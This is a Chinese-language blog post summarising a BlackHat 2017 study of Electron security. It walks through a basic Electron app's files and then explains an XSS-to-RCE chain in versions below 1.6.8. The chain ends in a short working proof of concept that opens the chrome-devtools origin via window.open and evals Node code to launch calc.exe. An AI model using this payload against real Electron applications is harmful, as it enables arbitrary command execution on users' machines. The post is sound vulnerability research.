Electron框架XSS到RCE

BlackHat上的一个大牛介绍了Electron框架的一些安全问题，学习了一下其中利用XSS实现RCE的流程，v1.6.8以下的electron版本存在该漏洞。

文章地址：https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf

一、Electron框架

介绍

简单来说，Electron框架可以看作一个精简版的Chrome浏览器，开发者只需利用JavaScript/Html/Css等Web相关技术就可以开发跨平台的桌面应用，该框架非常适用于偏业务型的应用开发。市面上有很多成熟的应用，比如VS Code，Atom等。

基本目录结构

一个Electron应用主要有3个文件，index.html，main.js，和package.json

目录结构.png

其中index.html是要展示的内容

    
    


    
Hello World!
    We are using node
    , Chrome
    , and Electron
    .

main.js是用于启动应用的文件

const { app, BrowserWindow } = require('electron')
const path = require('path')
const url = require('url')

// 保持一个对于 window 对象的全局引用，如果你不这样做，
// 当 JavaScript 对象被垃圾回收， window 会被自动地关闭
let win

function createWindow() {
  // 创建浏览器窗口。
  win = new BrowserWindow({ width: 800, height: 600 })

  // 加载应用的 index.html。
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))

  // 打开开发者工具。
  win.webContents.openDevTools()

  // 当 window 被关闭，这个事件会被触发。
  win.on('closed', () => {
    // 取消引用 window 对象，如果你的应用支持多窗口的话，
    // 通常会把多个 window 对象存放在一个数组里面，
    // 与此同时，你应该删除相应的元素。
    win = null
  })
}

// Electron 会在初始化后并准备
// 创建浏览器窗口时，调用这个函数。
// 部分 API 在 ready 事件触发后才能使用。
app.on('ready', createWindow)

// 当全部窗口关闭时退出。
app.on('window-all-closed', () => {
  // 在 macOS 上，除非用户用 Cmd + Q 确定地退出，
  // 否则绝大部分应用及其菜单栏会保持激活。
  if (process.platform !== 'darwin') {
    app.quit()
  }
})

app.on('activate', () => {
  // 在这文件，你可以续写应用剩下主进程代码。
  // 也可以拆分成几个文件，然后用 require 导入。
  if (win === null) {
    createWindow()
  }
})

// 在这文件，你可以续写应用剩下主进程代码。
// 也可以拆分成几个文件，然后用 require 导入。

package.json里是应用的基本信息

{
  "name"    : "your-app",
  "version" : "0.1.0",
  "main"    : "main.js"
}

安装electron后执行命令即可运行你的应用

electron your-app/

二、XSS到RCE

Electron中使用了一个标记nodeIntegration用来控制页面对node的API的访问，只有nodeIntegration为true的时候，才可以使用如require，process这样的node API去访问系统底层资源。这个标记可以直接在main.js中创建窗口时声明：

win = new BrowserWindow({
  width: 800, height: 600, "webPreferences": {
    "nodeIntegration": true
  }
})

也可以作为webview的一个属性：

但是通常这个标记都是false的，也就是普通页面是没办法调用require的。但是在electron源码中的lib/renderer/init.js有个判断，在chrome-devtools这个特权域下，nodeIntegration会变成true。

if (window.location.protocol === 'chrome-devtools:') {
  // Override some inspector APIs.
  require('./inspector')
  nodeIntegration = 'true'
}

接下来只需要用window.open绕过SOP跳到chrome-devtools域下，然后调用node API执行系统命令就行了

win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/calc.exe');");

如图成功弹出计算器：

演示